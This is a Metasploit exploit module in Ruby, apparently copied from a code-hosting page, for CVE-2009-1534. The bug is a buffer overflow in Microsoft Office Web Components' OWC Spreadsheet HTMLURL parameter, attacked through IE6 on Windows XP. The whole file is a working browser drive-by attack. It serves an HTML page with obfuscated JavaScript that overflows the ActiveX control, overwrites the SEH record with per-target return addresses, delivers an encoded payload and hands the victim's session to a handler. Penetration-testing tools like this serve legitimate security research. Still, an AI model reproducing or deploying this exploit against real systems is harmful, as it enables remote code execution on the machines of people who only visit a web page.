161 lines
3.8 KiB
Ruby
161 lines
3.8 KiB
Ruby
|
##
|
||
|
|
# $Id$
|
||
|
|
##
|
||
|
|
|
||
|
|
##
|
||
|
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
|
# Framework web site for more information on licensing and terms of use.
|
||
|
|
# http://metasploit.com/framework/
|
||
|
|
##
|
||
|
|
|
||
|
|
|
||
|
|
require 'msf/core'
|
||
|
|
|
||
|
|
class Metasploit3 < Msf::Exploit::Remote
|
||
|
|
Rank = NormalRanking
|
||
|
|
|
||
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
||
|
|
include Msf::Exploit::Remote::Seh
|
||
|
|
|
||
|
|
def initialize(info = {})
|
||
|
|
super(update_info(info,
|
||
|
|
'Name' => 'Microsoft OWC Spreadsheet HTMLURL Buffer Overflow',
|
||
|
|
'Description' => %q{
|
||
|
|
This module exploits a buffer overflow in Microsoft's Office Web Components.
|
||
|
|
When passing an overly long string as the "HTMLURL" parameter an attacker can
|
||
|
|
execute arbitrary code.
|
||
|
|
},
|
||
|
|
'License' => MSF_LICENSE,
|
||
|
|
'Author' => [ 'jduck' ],
|
||
|
|
'Version' => '$Revision$',
|
||
|
|
'References' =>
|
||
|
|
[
|
||
|
|
[ 'CVE', '2009-1534' ],
|
||
|
|
[ 'OSVDB', '56916' ],
|
||
|
|
[ 'BID', '35992' ],
|
||
|
|
[ 'MSB', 'MS09-043' ],
|
||
|
|
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=819' ]
|
||
|
|
],
|
||
|
|
'DefaultOptions' =>
|
||
|
|
{
|
||
|
|
'EXITFUNC' => 'process',
|
||
|
|
'InitialAutoRunScript' => 'migrate -f',
|
||
|
|
},
|
||
|
|
'Payload' =>
|
||
|
|
{
|
||
|
|
'Space' => 1024,
|
||
|
|
'BadChars' => "\x00\xf0",
|
||
|
|
'DisableNops' => true
|
||
|
|
},
|
||
|
|
'Platform' => 'win',
|
||
|
|
'Targets' =>
|
||
|
|
[
|
||
|
|
# 'ProgId' => "OWC.Spreadsheet.9"
|
||
|
|
# 'ClassId' => "0002E512-0000-0000-C000-000000000046",
|
||
|
|
|
||
|
|
[ 'Windows XP SP3 - IE6 - Office XP SP0',
|
||
|
|
{
|
||
|
|
'ClassId' => "0002E510-0000-0000-C000-000000000046",
|
||
|
|
'Offset' => 31337,
|
||
|
|
'Ret' => 0x42424242 # p/p/r in msohev.dll ??
|
||
|
|
}
|
||
|
|
],
|
||
|
|
|
||
|
|
[ 'Windows XP SP3 - IE6 - Office XP SP3',
|
||
|
|
{
|
||
|
|
'ClassId' => "0002E511-0000-0000-C000-000000000046",
|
||
|
|
'Offset' => ((4096*7) + 1076),
|
||
|
|
'Ret' => 0x32521239 # p/p/r in msohev.dll 10.0.2609.0
|
||
|
|
}
|
||
|
|
]
|
||
|
|
],
|
||
|
|
'DisclosureDate' => 'Aug 11 2009',
|
||
|
|
'DefaultTarget' => 1))
|
||
|
|
|
||
|
|
register_options(
|
||
|
|
[
|
||
|
|
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
||
|
|
], self.class)
|
||
|
|
end
|
||
|
|
|
||
|
|
def autofilter
|
||
|
|
false
|
||
|
|
end
|
||
|
|
|
||
|
|
def check_dependencies
|
||
|
|
use_zlib
|
||
|
|
end
|
||
|
|
|
||
|
|
def big_alnum(num)
|
||
|
|
divisor = 2048 + rand(2048)
|
||
|
|
pad_pages = num / divisor
|
||
|
|
pad_left = num % divisor
|
||
|
|
|
||
|
|
ret = ''
|
||
|
|
ret << rand_text_alphanumeric(divisor) * pad_pages if pad_pages
|
||
|
|
ret << rand_text_alphanumeric(pad_left) if pad_left
|
||
|
|
ret
|
||
|
|
end
|
||
|
|
|
||
|
|
def on_request_uri(cli, request)
|
||
|
|
# Re-generate the payload.
|
||
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
||
|
|
|
||
|
|
# ActiveX parameter(s)
|
||
|
|
clsid = target['ClassId']
|
||
|
|
|
||
|
|
# Exploitation parameter(s)
|
||
|
|
seh_offset = target['Offset']
|
||
|
|
|
||
|
|
# Build the buffer.
|
||
|
|
string = big_alnum(seh_offset)
|
||
|
|
string << generate_seh_record(target.ret)
|
||
|
|
string << payload.encoded
|
||
|
|
string << big_alnum(40960 - string.length)
|
||
|
|
string = Rex::Text.to_unescape(string)
|
||
|
|
|
||
|
|
objid = rand_text_alphanumeric(8+rand(8))
|
||
|
|
fnname = rand_text_alphanumeric(8+rand(8))
|
||
|
|
|
||
|
|
# Build the final JavaScript
|
||
|
|
js = "function #{fnname}() { var long = unescape('#{string}'); #{objid}.HTMLURL = long; }"
|
||
|
|
|
||
|
|
# Obfuscate the javascript
|
||
|
|
opts = {
|
||
|
|
'Strings' => false, # way too slow to obfuscate this monster
|
||
|
|
'Symbols' => {
|
||
|
|
'Variables' => %w{ long }
|
||
|
|
}
|
||
|
|
}
|
||
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
||
|
|
js.obfuscate()
|
||
|
|
|
||
|
|
# Build the final HTML
|
||
|
|
content = %Q|<html>
|
||
|
|
<head>
|
||
|
|
<script language=javascript>
|
||
|
|
#{js}
|
||
|
|
</script>
|
||
|
|
</head>
|
||
|
|
<body onload="history.go(0); #{fnname}()">
|
||
|
|
<object classid="clsid:#{clsid}" id="#{objid}">
|
||
|
|
</object>
|
||
|
|
</body>
|
||
|
|
</html>
|
||
|
|
|
|
||
|
|
|
||
|
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||
|
|
|
||
|
|
# Transmit the response to the client
|
||
|
|
send_response_html(cli, content,
|
||
|
|
{
|
||
|
|
'Last-Modified' => 'Tue, 11 Aug 2009 07:13:46 GMT',
|
||
|
|
})
|
||
|
|
|
||
|
|
# Handle the payload
|
||
|
|
handler(cli)
|
||
|
|
end
|
||
|
|
|
||
|
|
end
|